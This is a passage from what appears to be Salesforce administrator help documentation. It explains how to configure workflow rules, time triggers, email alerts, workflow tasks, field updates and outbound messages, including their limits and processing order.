Consider the following when configuring workflow rules: Each workflow rule applies to a single object, such as leads, accounts, or opportunities. For the maximum number of workflow rules allowed on an object, see Salesforce Editions and Limits on page 1898. For standard objects, workflow rules can only perform field updates on the object related to the rule. The exceptions are that both Case Comments and Email Messages can perform cross-object field updates on Cases. For all custom objects, however, you can create workflow actions where a change to a detail record updates a field on the related master record. Cross-object field updates only work for custom-to-custom master-detail relationships. For example, in a custom recruiting application, create a workflow rule that sets the status of an application (the master object) to Closed when a candidate (the detail object) accepts the job. Or, for standard objects, create a rule to change the status of a case from Awaiting Customer Response to In Progress when a customer adds a case comment. The cross-object field update function may depend on certain critical updates being active. Click Your Name > Setup > Critical Updates to see if your organization requires any updates. Workflow rules can't be triggered by campaign statistic fields, including individual campaign statistics and campaign hierarchy statistics. For a list of campaign fields that cannot trigger workflow rules, see Campaign Fields on page 2558.

1643

Create

Managing Workflow Rules

Workflow rules can be triggered any time a record is saved or created, depending on your rule criteria. However, rules created after saving records aren't triggered by those records retroactively. Workflow rules are triggered when a standard object in a master-detail relationship is re-parented, even if the object's evaluation criteria is set to When a record is created, or when a record is edited and did not previously meet the rule criteria. Workflow rules only trigger on converted leads if validation and triggers for lead convert are enabled in your organization. Workflow rules on custom objects are automatically deleted if the custom object is deleted. You can't package workflow rules with time triggers. Workflow rules trigger automatically and are invisible to the user. Alternatively, approval processes allow users to submit records for approval. The order in which actions are executed is not guaranteed. Field update actions are executed first, followed by other actions. You can't create email alerts for workflow rules on activities. You can't create outbound messages for workflow rules on junction objects. To create workflow rules that update case fields based on new case comments or incoming email messages, choose Case Comment or Email Message from the Select Object drop-down list; Email Message is only available if Email-to-Case or On-Demand Email-to-Case is enabled. You can only create email message workflow rules for field updates, and case comment workflow rules for field updates, email alerts, and outbound messages. For example, you can create a workflow rule so that an email marked as Is Incoming changes its case's Status from Closed to New. Saving or creating records can trigger more than one rule. The following actions don't trigger workflow rules: Mass replacing picklist values Mass updating address fields Mass updating divisions Changing the territory assignments of accounts and opportunities Converting leads to person accounts

Changes you make to records while using Connect Offline are evaluated by workflow rules when you synchronize. Salesforce processes any rules in the following order: 1. 2. 3. 4. 5. Validation rules Assignment rules Auto-response rules Workflow rules (with immediate actions) Escalation rules

Workflow rules and entry criteria for approval processes and steps respect the user's locale and aren't triggered when the user is in a different language than that of the organization. If a lookup field references a record that is deleted, Salesforce sets the lookup field to null, and does not run any Apex triggers, validation rules, workflow rules, or roll-up summary fields. Tip: You can use the Developer Console to debug workflow rules. The Developer Console lets you view debug log details and information about workflow rules and actions, such as the name of the user who triggered the workflow rule and the name and ID of the record being evaluated.

1644

Create

Managing Workflow Actions

Managing Workflow Actions


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view workflow rules, email alerts, tasks, field updates, and View Setup and Configuration outbound messages: To create or change workflow rules, email alerts, tasks, field Customize Application updates, and outbound messages:

To manage your workflow actions: 1. 2. 3. 4. Click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules to access the workflow rules list page. Click the name of the rule with the workflow actions you want to edit. Click Edit in the Workflow Actions section. Manage your workflow actions as follows: Click Edit next to any workflow action or time trigger to modify it. Click Remove next to any workflow action to remove it from the rule. This disassociates the workflow action from the workflow rule but does not delete the workflow action. Click Delete next to any time trigger to remove it from the rule. This deletes the time trigger and removes its associated actions from the workflow rule but does not delete the workflow actions. The workflow actions are still available when you click Add Workflow Action and choose the Select Existing Action option. Click Add Workflow Action in the Immediate Workflow Actions section to add an immediate workflow action to the workflow rule. Click Add Time Trigger to add a time trigger to the workflow rule. Click Add Workflow Action next to a time trigger to add time-dependent workflow actions to the time trigger.

5. Click Done.

See Also:
Managing Workflow Rules Creating Workflow Rules Time-Dependent Action and Time Trigger Considerations Selecting Existing Actions

1645

Create

Time-Dependent Action and Time Trigger Considerations

Time-Dependent Action and Time Trigger Considerations


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Leads are not available in Database.com

User Permissions Needed To define, edit, or delete time-dependent actions and time triggers: Customize Application

When creating time-dependent actions and time triggers for workflow rules, consider the following:

Defining Time Triggers


When defining a time trigger, use standard and custom date and date/time fields defined for the object. Specify time using days and hours. You can add actions to existing time triggers.

Time Trigger Processing


Time-dependent actions aren't executed independently. They're processed several times every hour, where they're grouped together and executed as a single batch. Therefore, any triggers that fire as a result of those grouped actions are also executed in a single batch. This behavior can cause you to exceed your Apex governor limits if you design your time-based workflow in conjunction with Apex triggers. Salesforce evaluates time-based workflow on the organization's time zone, not the users'. Users in different time zones may see differences in behavior. Salesforce does not necessarily execute time triggers in the order they appear on the workflow rule detail page. Workflow rules list time triggers that use the Before field first, followed by time triggers that use the After field. Salesforce does not display time-dependent action controls on the workflow rule edit page if you set the workflow rule evaluation criteria to Every time a record is created or updated. If you change a date field that is referenced by an unfired time trigger in a workflow rule that has been evaluated, Salesforce recalculates the unfired time triggers associated with the rule. For example, if a workflow rule is scheduled to alert the opportunity owner seven days before the opportunity close date and the close date is set to 2/20/2011, Salesforce sends the alert on 2/13/2011. If the close date is updated to 2/10/2011 and the time trigger has not fired, Salesforce reschedules the alert for 2/3/2011. If Salesforce recalculates the time triggers to a date in the past, Salesforce triggers the associated actions shortly after you save the record. If a workflow rule has a time trigger set for a time in the past, Salesforce queues the associated time-dependent actions to execute sometime within the hour, depending on system usage. For example, if a workflow rule on opportunities is configured to send an email alert seven days before the close date and you create an opportunity record with the close date set to today, Salesforce sends the email alert within four hours after you create the opportunity. Time-dependent actions remain in the workflow queue only as long as the workflow rule criteria are still valid. If a record no longer matches the rule criteria, Salesforce removes the time-dependent actions queued for that record. For example, an opportunity workflow rule may specify: A criteria set to Opportunity: Status not equals to Closed Won, Closed Lost. An associated time-dependent action with a time trigger set to seven days before the opportunity close date.

1646

Create

Time-Dependent Action and Time Trigger Considerations

If a record that matches the criteria is created on July 1st and the Close Date is set to July 30th, the time-dependent action is scheduled for July 23rd. However, if the opportunity is set to Closed Won or Closed Lost before July 23rd, the time-dependent action is automatically removed from the queue. Salesforce ignores time triggers that reference null fields. Time-dependent actions can automatically be queued again if the record is updated and the evaluation criteria is When a
record is created, or when a record is edited and did not previously meet the entry criteria. Using the previous example, if the opportunity status is changed from Closed Lost to Prospecting and the workflow rule evaluation criteria is When a record is created, or when a record is edited and did not previously meet the entry criteria, Salesforce reevaluates the time triggers and adds the appropriate

actions to the workflow queue. Deleting a record that has pending actions removes the pending actions from the workflow queue. You cannot restore the actions, even if you undelete the record. If the evaluation criteria is Only when a record is created, the workflow rule evaluates its time triggers only once. If the record that fired the rule changes to no longer meet the evaluation criteria, Salesforce removes the pending actions from the queue and never reapplies the rule to the record. You can deactivate a workflow rule at any time. If the rule has pending actions in the workflow queue, editing the record that triggered the rule removes the pending actions from the queue. If you don't edit the record, the pending actions are processed even though the rule has been deactivated. Time-based workflow rules are not reevaluated if an Apex post trigger which is executed as a result of a workflow rule or approval process updates a field so its value no longer meets the time-based workflow rule criteria. Configuring the Due Date to Rule Trigger Date sets time triggers and workflow task due dates relative to when the workflow rule evaluation criteria are met. For example, if the task due date is Rule Trigger Date plus 10 days and the evaluation criteria are met on January 1st, Salesforce sets the task due date to January 11th. You can add a new active workflow rule with time triggers in a changeset and deploy it. For an existing workflow rule in a changeset, you can only change time triggers on a workflow rule in a changeset if it's inactive. The rule must be activated in the destination organization manually or through another changeset that only activates workflow rules. For example, if you have an inactive workflow rule in your destination organization and your changeset contains an active workflow rule with the same name and new or different time triggers, the deployment will fail because it will activate the workflow rule first, then try to add or remove time triggers.

Using Time-Dependent Workflow with Leads


You can't convert a lead that has pending actions. If Validation and Triggers from Lead Convert is enabled, existing time-based workflow actions on leads aren't triggered during lead conversion. If a campaign member based on a lead is converted prior to the completion of time-based workflow actions associated with it, Salesforce still performs the time-based workflow actions.

Limitations
Time triggers do not support minutes or seconds. Time triggers cannot reference the following: DATE or DATETIME fields containing automatically derived functions, such as TODAY or NOW Formula fields that include related object merge fields Salesforce limits the number of time triggers an organization can execute per hour as follows: Enterprise Edition = 500 Developer Edition = 50 Unlimited Edition = 1,000

1647

Create

Customizing Workflow and Approval Settings

If an organization exceeds these limits, Salesforce defers the execution of the additional time triggers to the next hour. For example, if an Unlimited Edition organization has 1,200 time triggers scheduled to execute between 4:00 PM and 5:00 PM, Salesforce processes 1,000 time triggers between 4:00 PM and 5:00 PM and the remaining 200 time triggers between 5:00 PM and 6:00 PM. You can't archive a product or price book that has pending actions. You can't add or remove time triggers if: The workflow rule is active. The workflow rule is deactivated but has pending actions in the queue. The workflow rule trigger type is set to Every time a record is created or edited. The workflow rule is included in a package.

See Also:
Managing Workflow Rules Examples of Workflow Rules Creating Workflow Rules Managing Workflow Actions

Customizing Workflow and Approval Settings


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals are not available in Database.com

User Permissions Needed To edit workflow and approval settings: Customize Application

To customize settings for workflow rules and approval processes: 1. Click Your Name > Setup > Create > Workflow & Approvals > Settings. 2. Select a Default Workflow User that you want Salesforce to display with a workflow rule when the user that triggered the rule is not active. If your organization uses time-dependent actions in workflow rules, you must designate a default workflow user. Salesforce displays this username in the Created By field for tasks, the Sending User field for email, and the Last Modified By field for field updates. Salesforce does not display this username for outbound messages. If a problem occurs with a pending action, the default workflow user receives an email notification. 3. To enable email approval response for your organization, select the Enable Email Approval Response checkbox. The email approval response feature gives users the ability to approve or reject email approval requests by replying to the email. Note: Before enabling email approval response, note that you cannot use this feature with approval processes in which the assigned approver is a queue, or in a multi-step approval process in which the next approver is manually

1648

Create

Customizing Workflow and Approval Settings

chosen after the first step. Also, users that use Microsoft Word as their email editor must add the comments to the end of the first line of the reply email instead of the second. 4. Click Save. When you enable email approval response, Salesforce uses the following default email template for approval processes unless you specify a custom email template:

[name of requesting user] has requested your approval for the following item. To approve or reject this item, reply to this email with the word APPROVE, APPROVED, YES, REJECT, REJECTED, or NO in the first line of the email message, or click this link: [link to approval page] If replying via email you can also add comments on the second line. The comments will be stored with the approval request in Salesforce CRM. Note: For salesforce.com to process your response the word APPROVE, APPROVED, YES, REJECT, REJECTED, or NO must be in the very first line of the reply email. Also, any comment must be in the second line.

If your organization has About Approvals in Chatter enabled and the approver has opted to receive approval notifications as Chatter posts, the default email template is appended with:
You can also approve, reject and comment on this request from your Chatter feed: [link to approval post in Chatter]

If you select a custom email template when configuring an approval response, be sure it contains the above information so users know how to correctly reply to the email approval request.

See Also:
Managing Workflow Rules Creating Workflow Rules Email Approval Response FAQ

Managing Email Alerts

1649

Create

Managing Email Alerts

Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view email alerts: To create or change email alerts: View Setup and Configuration Customize Application

Email alerts are emails generated by a workflow rule or approval process and sent to designated recipients whenever specific business actions trigger the workflow rule or approval process. Email alerts contain the standard text and list of recipients for an email. You must specify an email template for email alerts. To use a standard global From address for email alerts, like support@company.com, set up an organization-wide address first. To get started using email alerts, click Your Name > Setup > Create > Workflow & Approvals > Email Alerts. Click New Email Alert to create a new email alert. Select an existing email alert to view details about it, create a cloned email alert, or view all the rules using it. Click Edit to make changes to an existing email alert. Click Del to delete a email alert.

See Also:
Creating Email Alerts for Workflow, Approvals, or Milestones Workflow Daily Email Limit Managing Workflow and Approvals Managing Workflow Rules Differences Between Auto-Response Rules and Workflow Alerts

Creating Email Alerts for Workflow, Approvals, or Milestones


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change workflow rules: To create or change email alerts: Customize Application Customize Application

To create email alerts: 1. For workflow and approvals, click Your Name > Setup > Create > Workflow & Approvals > Email Alerts. For milestones on entitlement processes, click Your Name > Setup > Customize > Entitlement Management > Entitlement Processes, choose an entitlement process, a milestone, and click Add Workflow Action.

1650

Create

Managing Email Alerts

2. Click New Email Alert. 3. Configure the email alert: a. Enter a description for this email alert. b. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for managed package installations. The requirement for uniqueness is only within the selected object type. You can have actions of the same type (for example, two email alerts) with the same unique name, provided they are defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. c. If available, choose the object for this email alert. Salesforce uses this object when generating merge field values for email templates with workflow rules and approval processes. Also, you can define the recipients of this email alert using contact and user lookup fields that are relevant to that object. For example, if you select Contract, you can define the contract signer as a recipient. The object is read-only if the new email alert is associated with an approval process or workflow rule for a particular object. Tip: To create workflow rules for case comments so that comments added to cases send email alerts when a rule is triggered, select Case Comment in the Object drop-down list when creating a new workflow rule. d. Choose an email template. Note: If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name}, these fields will return values only when that email template is used as the approval assignment template. If you use the template for any other email alert actionin either workflow rules or approval processesthe merge fields will return a null value. e. Optionally, select Protected Component to mark the alert as protected if it is part of a Managed - Released package. f. Select who should receive this email alert. Depending on your organization settings and the object you selected, some options in this list may not be available.
Account OwnerThe user listed as the account owner of either the account itself or the account associated with

the record. This option only works for email alerts on accounts, opportunities, cases, contacts, contracts, and any custom object that is a child of the account object. Also, an account owner must be specified for the associated account. If you select another type of object or the associated account does not have an account owner, Salesforce sends the email alert to the record owner instead. Account TeamAll users assigned to a particular account team role. Note: The Account Team option is always available; however, emails are only sent when the rule is associated with the account object or any of its immediate child objects.

Case TeamAll users assigned to a particular case team role. CreatorThe user who created the record. Customer Portal UserAll users associated with a Customer Portal. Email FieldAn email address field on the selected object, such as the Email field on lead records or custom

email fields.

1651

Create

Managing Email Alerts

Note: When creating email alerts for campaign members, Email Field refers to the email field on the lead or contact that the campaign member is based on.
OwnerThe record owner. Partner UserAll users associated with a partner portal. Portal RoleAll users assigned to a particular portal role. Portal Role and SubordinatesAll users assigned to a particular portal role, plus all users in roles below

that role.
Public GroupsThe users in a particular public group. Related ContactAn associated contact on the record. For example, you can select the Customer Signed By field for contracts that contain the name of the contract signer. Related Lead or Contact OwnerA campaign member's lead or contact owner. Related UserAn associated user on the record. For example, contract records have an Activated By field

that contains the name of the user that activated the contract. RoleAll of the users assigned a particular role. Role and Internal SubordinatesAll users in a particular role, plus all users in roles below that role, excluding partner portal and Customer Portal users. Role and SubordinatesAll users in a particular role, plus all users in roles below that role. UserA particular user. Sales TeamA member of the sales team. This option doesn't appear unless you have team selling enabled for your opportunities. Note: The Sales Team option only works for email alerts configured for opportunities. It does not work for email alerts configured for child objects of opportunities.

The recipients that match your search results appear in the Available Recipients list. g. Select the recipients who should receive this email alert in the Available Recipients list and click Add. Note: If you change the object after selecting recipients, Salesforce clears the Selected Recipients list.

h. Optionally, enter up to five additional email addresses. i. Optionally, change the From Email Address to: The email address of the default workflow user. A previously configured and verified organization-wide address. This allows you to use a standard global email address for your organization (such as support@company.com) instead of the default From field, which is the email address of the person who updates the record. Only verified organization-wide email addresses display in the From Email Address picklist. Note: If you select Make this the default From email address for this object's email alerts, it overrides the From Email Address for all email alerts associated with that object. Upon saving, a dialog box prompts you to confirm your selection. You can still customize individual email alerts to use a different From Email Address. j. Click Save.

1652

Create

Managing Email Alerts

Note: If your email recipient is a record owner and the owner of the record is a queue, the queue email receives the email alert. If the queue is set up so that email is sent to all members, queue members are notified as well. If no queue email is specified, only queue members are notified. 4. To set email alerts into action, associate them with a workflow rule, approval process, or entitlement process. Note: The daily limit for emails sent from workflow and approval-related email alerts is 1,000 per standard Salesforce license per organization. The overall organization limit is 2,000,000. When the daily limit is reached, a warning email goes out to the default workflow user. If the default workflow user isn't set, then the warning email is sent to an active system administrator. For more information, see Workflow Daily Email Limit on page 1653.

See Also:
Managing Workflow and Approvals

Workflow Daily Email Limit


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change workflow rules: To create or change email alerts: Customize Application Customize Application

The daily limit for emails sent from workflow and approval-related email alerts is 1,000 per standard Salesforce license per organization. The overall organization limit is 2,000,000. When the daily limit is reached, a warning email goes out to the default workflow user. If the default workflow user isn't set, then the warning email is sent to an active system administrator. How the Workflow Daily Email Limit Works After your organization has reached its limit: Any emails in the workflow queue left over and not sent that day are discarded. Salesforce doesn't try to resend them later. If a workflow rule with an action and an email alert is triggered, only the email action is blocked. Final approval, final rejection, approval, rejection, and recall email actions are blocked. An error message is added to the debug log.

The following items don't count against the workflow email limit: Approval notification emails Task assignment notifications Lead assignment rules notifications Case assignment rules notifications Case escalation rules notifications Force.com sites usage alerts

1653

Create

Managing Tasks for Workflow and Approvals

The limit restriction is based on activity in the 24-hour period starting and ending at midnight GMT. Adding or removing a user license immediately adjusts the limit's total. If you send an email alert to a group, every recipient in that group counts against your daily workflow email limit.

See Also:
Salesforce Editions and Limits

Managing Tasks for Workflow and Approvals


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view tasks: To create or change tasks: View Setup and Configuration Customize Application

Tasks determine the details of a task assigned by a workflow rule or approval process. Create tasks and then associate them with the workflow rules or approval processes that will trigger them. When the business conditions for that workflow rule or approval process are met, it assigns tasks to designated users with the selected Subject, Status, Priority, and Due Date of the workflow task. To get started using tasks, click Your Name > Setup > Create > Workflow & Approvals > Tasks. Click New Task to create a new workflow task. Select an existing task to view details about it, create a cloned task, or view rules using it. Click Edit to make changes to an existing task. Click Del to delete a task. Note: Before you create a task for a custom object, make sure the custom object tracks activities. When tasks are created automatically by actions such as clicking the Send An Email button, they don't trigger task-based workflow rules. Tasks aren't available for article types. See Defining Article Types on page 1385 for more information.

See Also:
Creating Tasks for Workflow, Approvals, or Milestones Managing Workflow and Approvals Managing Workflow Rules

1654

Create

Managing Tasks for Workflow and Approvals

Creating Tasks for Workflow, Approvals, or Milestones


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or change tasks: To create or change workflow rules: Customize Application Customize Application

To create your tasks: 1. For workflow and approvals, click Your Name > Setup > Create > Workflow & Approvals > Tasks. For milestones on entitlement processes, click Your Name > Setup > Customize > Entitlement Management > Entitlement Processes, choose an entitlement process, a milestone, and click Add Workflow Action. 2. Click New Task. 3. Select a type of record and click Next. Remember, tasks can only be associated with workflow rules or approval processes for the same object type. Note: When creating tasks for custom objects, only custom objects that track activities are available. Tasks aren't available for article types. See Defining Article Types on page 1385 for more information. 4. Configure the task: a. Select an assignee. An assignee can be in the form of a user, role, record owner, record creator, sales team role, or account team role, depending on the type of record you chose. Note: If the assignee of a task is set to the record owner and the owner of a lead or case is a queue, the person who triggered the rule is assigned the task. If the subject was translated, Salesforce creates the task in the assignee's language If you checked Notify Assignee for the task, Salesforce sends the email in the assignee's language. However, if only the comments field was translated, Salesforce creates the task and sends the email in the language of the user who triggered the task. If a custom object has a master-detail relationship with a standard object, the owner of the custom object record is automatically set to the owner of the master standard object record. For example, if a custom object called Expenses has a master-detail relationship with Accounts, the owner of each expense record is the owner of the account for the expense. If the assignee of a workflow task is a role and more than one user belongs to that role, the record owner becomes the task assignee, regardless of his or her role. We recommend that you do not assign tasks to roles with multiple users. Assigning tasks to roles with one user allows you to easily change the user in that role without modifying the workflow rule. When a lead is converted by someone who isn't the lead owner, all workflow tasks associated with the lead that are assigned to that user, except email alerts, are reassigned to the lead owner. Workflow tasks assigned to users other than the lead owner and lead converter are not changed.

1655

Create

Managing Field Updates

b. Enter a subject for the task. c. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for managed package installations. The requirement for uniqueness is only within the selected object type. You can have actions of the same type (for example, two email alerts) with the same unique name, provided they are defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. d. Choose a due date, status, and priority. Due dates appear in the time zone of the assignee. Note: Configuring the Due Date to Rule Trigger Date sets time triggers and workflow task due dates relative to when the workflow rule evaluation criteria are met. For example, if the task due date is Rule Trigger Date plus 10 days and the evaluation criteria are met on January 1st, Salesforce sets the task due date to January 11th. e. Check Notify Assignee to send an email notification when the task is assigned. f. Check the Protected Component check box to mark the task as protected. For more information, see the Force.com Quick Reference for Developing Packages. g. Enter any comments to add to the task. h. Click Save. 5. To set tasks into action, associate them with a workflow rule, approval process, or entitlement process. Note: You may notice that all your tasks include a Created By field. For tasks, this field contains the name of the person who saved the record that triggered the rule to assign the task.

See Also:
Managing Workflow and Approvals Entitlement Management Overview

Managing Field Updates


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approval Processes are not available in Database.com

User Permissions Needed To view field updates: To define, edit, or delete field updates: View Setup and Configuration Customize Application

Field updates allow you to automatically specify a field value. Field updates are actions associated with workflow rules, approval processes, or entitlement processes.

1656

Create

Managing Field Updates

Before you begin using field updates, review Field Update Considerations on page 1659. To get started using field updates, click Your Name > Setup > Create > Workflow & Approvals > Field Updates. Click New Field Update to define a new field update. Select an existing field update to view details about it or view workflow rules and approval processes that use it. Click Edit to make changes to an existing field update. Click Del to delete a field update.

See Also:
Defining Field Updates Managing Workflow and Approvals Managing Workflow Rules

Defining Field Updates


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals are not available in Database.com

User Permissions Needed To define, edit, or delete field updates: Customize Application

Field updates allow you to automatically specify a field value. Field updates are actions associated with workflow rules, approval processes, or entitlement processes. Before you begin, review Field Update Considerations on page 1659. Note: For standard objects, workflow rules can only perform field updates on the object related to the rule. The exceptions are that both Case Comments and Email Messages can perform cross-object field updates on Cases. For all custom objects, however, you can create workflow actions where a change to a detail record updates a field on the related master record. Cross-object field updates only work for custom-to-custom master-detail relationships. For example, in a custom recruiting application, create a workflow rule that sets the status of an application (the master object) to Closed when a candidate (the detail object) accepts the job. Or, for standard objects, create a rule to change the status of a case from Awaiting Customer Response to In Progress when a customer adds a case comment. To define field updates: 1. For workflow and approvals, click Your Name > Setup > Create > Workflow & Approvals > Field Updates. For milestones on entitlement processes, click Your Name > Setup > Customize > Entitlement Management > Entitlement Processes, choose an entitlement process, a milestone, and click Add Workflow Action. 2. Click New Field Update. 3. Configure the field update. a. Enter a name for this field update.

1657

Create

Managing Field Updates

b. Enter a unique name to refer to this component in the Force.com API and to prevent naming conflicts for managed package installations. The requirement for uniqueness is only within the selected object type. You can have actions of the same type (for example, two email alerts) with the same unique name, provided they are defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. c. Enter a description for this field update. d. Define the field update, including the object associated with the workflow rule or approval process, the field to update, and the value to apply. Note that the field to update may be on a related object in a master-detail relationship. Fields are shown only for the target object that you select. Tip: To create workflow rules for case comments or email messages so that case comments or emails automatically update fields on associated cases, select Case Comment or Email Message in the Object drop-down list when creating a new workflow rule and select Case in the Field to Update list. Email-to-Case or On-Demand Email-to-Case must be enabled for your organization to use Email Message in a workflow rule. When cases are updated by an email-triggered workflow rule, the updated case can trigger: Workflow rules Validation rules Updates to roll-up summary fields Escalation rules Apex triggers Entitlement processes

The update case cannot trigger: Assignment rules Auto-response rules

e. Check the Protected Component check box to mark the field update as protected. For more information, see the Force.com Quick Reference for Developing Packages. f. Specify the new field value. The available options depend on the type of field you are updating. You can: Choose A specific value, and enter the value in the space provided. Choose A blank value (null) if you want Salesforce to remove any existing value and leave the field blank. This option is not available for required fields, checkboxes, and some other types of fields. For record owners, choose the user to whom the record should be assigned. For case, lead, and custom object records, you can also choose a queue for this field. Optionally, select Notify Assignee to send an email to the new record owner. For checkboxes, choose True to select the checkbox and False to deselect it. For picklists, select a specific value from the drop-down list, or select the value above or below the current value based on the sorting specified in the picklist definition. If you sort values alphabetically, the values above or below may be different for users in other languages. Choose Use a formula to set the new value to calculate the value based on an expression, merge fields, or other values. a. If you are building a formula in the Advanced Formula tab or for approvals or rules, such as workflow, validation, assignment, auto-response, or escalation, click Insert Field, choose a field, and click Insert.

1658

Create

Managing Field Updates

To create a basic formula that passes specific Salesforce data, select the Simple Formula tab, choose the field type in the Select Field Type drop-down list, and choose one of the fields listed in the Insert Field drop-down list. Tip: Build cross-object formulas to span to related objects and reference merge fields on those objects.

b. To insert case merge fields so that email messages update the associated case fields, click Insert Field on the Rule Criteria section and choose Email Message > Parent Case. c. To insert an operator, choose the appropriate operator icon from the Insert Operator drop-down list. Use the examples in Operators and Functions on page 1107. d. Optionally, insert a function from the Functions list. Functions are pre-built formulas that you can customize with your input parameters. See Operators and Functions on page 1107 for a description of each operator and function. g. Click Save.

See Also:
Managing Field Updates Managing Workflow and Approvals Entitlement Management Overview

Field Update Considerations


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approval Processes, Opportunities, and Contracts are not available in Database.com

User Permissions Needed To define, edit, or delete field updates: Customize Application

When creating field updates for workflow rules or approval processes, consider the following: Field Update Processing Field updates occur before email alerts, tasks, and outbound messages. Field updates occur after case assignment, lead assignment, auto-response, and case escalation rules. For standard objects, workflow rules can only perform field updates on the object related to the rule. The exceptions are that both Case Comments and Email Messages can perform cross-object field updates on Cases. For all custom objects, however, you can create workflow actions where a change to a detail record updates a field on the related master record. Cross-object field updates only work for custom-to-custom master-detail relationships. For example, in a custom recruiting application, create a workflow rule that sets the status of an application (the master object) to Closed when a candidate

1659

Create

Managing Field Updates

(the detail object) accepts the job. Or, for standard objects, create a rule to change the status of a case from Awaiting Customer Response to In Progress when a customer adds a case comment. The cross-object field update function may depend on certain critical updates being active. Click Your Name > Setup > Critical Updates to see if your organization requires any updates. Field updates function independently of field-level security. Therefore, a workflow rule can update fields even though they are hidden on the user's page layout. The result of a field update is unpredictable when a single workflow rule includes multiple field updates that apply different values to the same field. Field updates may affect the information in a related list. For example, if a field such as the Amount or Close Date of an opportunity is set to be updated, it will affect the Stage History related list on opportunities. If a user encounters a field update error when saving a record, you can use the debug log to see which field update failed. The debug log stops when a failure occurs. For reminder fields on tasks and events: Field updates can set the reminder for a task or event but they cannot use the due date of a task or the scheduled time of an event. Formulas for date/time values are calculated in days. Divide the value by 1440the number of minutes in a dayto express the value in minutes. For example, the formula Now()-7 means seven days ago, while Now()-7/1440 means seven minutes ago.

If your organization uses multiple currencies, currency fields are updated using the record's currency. If you choose to update a field based on a formula, any values in your formula are interpreted in the currency of the record. Before changing the type of a custom field, make sure that it is not the target of a field update or referenced in a field update formula that would be invalidated by the new type. Field updates are tracked in the History related list if you have set history tracking on those fields. Because updates to records based on workflow rules don't trigger validation rules, workflow rules can invalidate previously valid fields.

Field Updates on Opportunities and Contracts You can define field updates for the Stage field on opportunities, but be aware of how this field affects the Type and Forecast Category fields. See Picklists with Additional Information on page 969 for information on the relationship between these fields. You can define field updates using the Amount field on opportunities but it will only apply to those opportunities that do not have products. Adding products to an opportunity changes the Amount field to a read-only field that is automatically calculated and not affected by that field update. You can define field updates for the Status field on contracts. However, the value of this field may affect the value of the Status Category field as well. Note: The Status field cannot be updated by approval processes. If you want to use the contract status as part of an approval process, Salesforce recommends creating a custom status field.

Field Update Limitations The results of a field update cannot trigger additional workflow rules or other rules such as validation, assignment, auto-response, or escalation rules. Read-only fields like formula or auto-number fields are not available for field updates. The Language picklist field on multilingual solutions is not available for field updates. Email message workflow rules can only be associated with field updates. Field update actions that update fields on related objects are supported only for use with workflow rules. Approval processes cannot use cross-object field update actions.

1660

Create

Managing Outbound Messages

If a field update references a specific user, you cannot deactivate that user. For example, if your field update is designed to change the owner of an account to Bob Smith, change the field update before deactivating Bob Smith. You cannot delete a custom field that is referenced by a field update. Some fields, such as Related To and Private fields on activities, are not available for field updates. You can update long text area fields, but the option to insert A specific value restricts you to entering up to 255 characters. You cannot make a field universally required if it is used by a field update that sets the field to a blank value. For details, see About Universally Required Fields on page 1100. Avoid creating a field update for contracts or orders that changes the Status field to any value other than Approved. Tip: Salesforce processes any rules in the following order: 1. 2. 3. 4. 5. Validation rules Assignment rules Auto-response rules Workflow rules (with immediate actions) Escalation rules

Workflow field updates that run based on an approval process or time-dependent action do not trigger any rules.

See Also:
Defining Field Updates Managing Field Updates

Managing Outbound Messages


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals are not available in Database.com

User Permissions Needed To view, define, edit, or delete outbound messages: Customize Application

An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint. To get started using outbound messages, click Your Name > Setup > Create > Workflow & Approvals > Outbound Messages. Click New Outbound Message to define a new outbound message. Click View Message Delivery Status to track the status of an outbound message. See Tracking Outbound Message Delivery Status on page 829. Select an existing outbound message to view details about it or view workflow rules and approval processes that use it. Click Edit to make changes to an existing outbound message.

1661

Create

Managing Outbound Messages

Click Del to delete an outbound message. Note: If you do not have these options, your organization does not have outbound messages enabled. Contact salesforce.com to enable outbound messages for your organization.

When working with outbound messages, note the following: A single SOAP message can include up to 100 notifications. Each notification contains an ID that uniquely identifies a record, and a reference to the data in the record. Therefore, if the information in the record changes after the notification is sent, but before the notification is delivered, only the updated information will be delivered. Messages are queued until they are sent, to preserve message reliability. If the endpoint is unavailable, messages will stay in the queue until sent successfully, or until they are 24 hours old. After 24 hours, messages are dropped from the queue. If a message cannot be delivered, the interval between retries increases exponentially, up to a maximum of two hours between retries. Messages are retried independent of their order in the queue. This may result in messages being delivered out of order. You cannot build an audit trail using outbound messages. While each message should be delivered at least once, it may be delivered more than once. Also, it may not be delivered at all if delivery cannot be done within 24 hours. Finally, as noted above, the source object may change after a notification is sent but before it is delivered, so the endpoint will only receive the latest data, not any intermediate changes. Encrypted custom fields are not available in outbound messages. You can create workflow rules and approval processes on junction objects; however, you cannot create outbound messages on junction objects.

See Also:
Defining Outbound Messages Tracking Outbound Message Delivery Status Managing Workflow and Approvals Managing Workflow Rules Web Services API Developer's Guide Metadata API Developer's Guide

Defining Outbound Messages

1662

Create

Managing Outbound Messages

